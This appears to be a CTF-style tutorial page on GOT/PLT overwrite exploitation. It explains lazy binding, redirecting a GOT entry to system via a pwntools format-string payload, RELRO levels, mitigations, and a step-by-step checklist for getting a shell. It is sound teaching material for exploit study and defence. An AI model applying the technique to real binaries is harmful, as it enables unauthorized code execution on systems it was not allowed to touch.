Skip to content

GOT/PLT Overwrite

When a binary uses functions from a shared library (like libc’s printf or system), it doesn’t know their addresses at compile time: they’re resolved at runtime via two tables, the GOT (Global Offset Table) and the PLT (Procedure Linkage Table). The GOT stores the real addresses of those functions, and by default it’s writable. If an attacker gets an arbitrary write (via format string, heap, overflow), they can overwrite a GOT entry so that, when the program calls a function, it jumps wherever the attacker wants —typically system.

# the program doesn't call libc's printf directly; it calls printf@plt
call printf@plt
# printf@plt jumps to the address stored in printf@got
# the first time, the linker resolves printf and writes its real address to printf@got (lazy binding)
# subsequent times, printf@got already has the address -> direct jump

The GOT is, in practice, a table of function pointers the program consults on each call. Overwriting a pointer = hijacking that function.

# if you have an arbitrary-write primitive (write-what-where):
# write system@libc into printf@got
printf@got = &system
# from now on, each printf(x) actually runs system(x)
# if you control the argument (e.g. printf(user) with user="/bin/sh") -> shell
from pwn import *
e = ELF('./vuln')
got_printf = e.got['printf'] # address of printf's GOT entry
# with a format string (see pwn-format):
payload = fmtstr_payload(offset, {got_printf: addr_system})
# or with a heap/overflow write
# functions the program calls LATER and whose argument you control:
printf@got -> system (if there's a later printf with controlled data)
free@got -> system (if there's a later free(chunk) with "/bin/sh" inside) -> modern __free_hook
puts@got, atoi@got, strlen@got ... depending on the program flow
# also: overwrite an entry to jump to win()/one_gadget

The trick is choosing a GOT entry of a function that (a) is called after your write and (b) receives an argument you control, so system(YOUR_ARG) gives you the shell.

objdump -R ./vuln # relocations (GOT entries)
readelf -r ./vuln
# in pwntools: e.got['printf'], e.plt['system'], e.symbols[...]
# system's address: from libc (with a leak if ASLR, see pwn-rop)

The GOT is writable by default, but RELRO changes that:

No RELRO fully writable GOT -> easy attack
Partial RELRO (default today) part of the GOT is read-only, but the GOT of lazy-resolved
functions (.got.plt) stays writable -> still attackable
Full RELRO whole GOT read-only (eager resolution at start) -> GOT overwrite IMPOSSIBLE
# check:
checksec --file=./vuln # shows the RELRO level

With Full RELRO, this attack doesn’t work and you must find another primitive (libc hooks, retaddr, FSOP).

  • Full RELRO (-Wl,-z,relro,-z,now): makes the GOT read-only → closes the attack entirely.
  • Avoid the source arbitrary-write primitives (fix format strings, overflows, UAF).
  • ASLR/PIE (force leaking addresses before writing), FORTIFY_SOURCE.
  • In general: defenses against the vulnerabilities that give the write-what-where (Format String/heap/stack).
  • Do you have an arbitrary-write primitive? (format/heap/overflow)
  • checksec: RELRO level (writable GOT?)
  • Locate GOT entries (objdump -R / e.got)
  • Choose a later-called function with a controlled argument
  • Overwrite its GOT entry with system/one_gadget
  • Trigger the call → shell
  • If Full RELRO: find another primitive (hooks/retaddr/FSOP)
  • Shell/flag locally → remote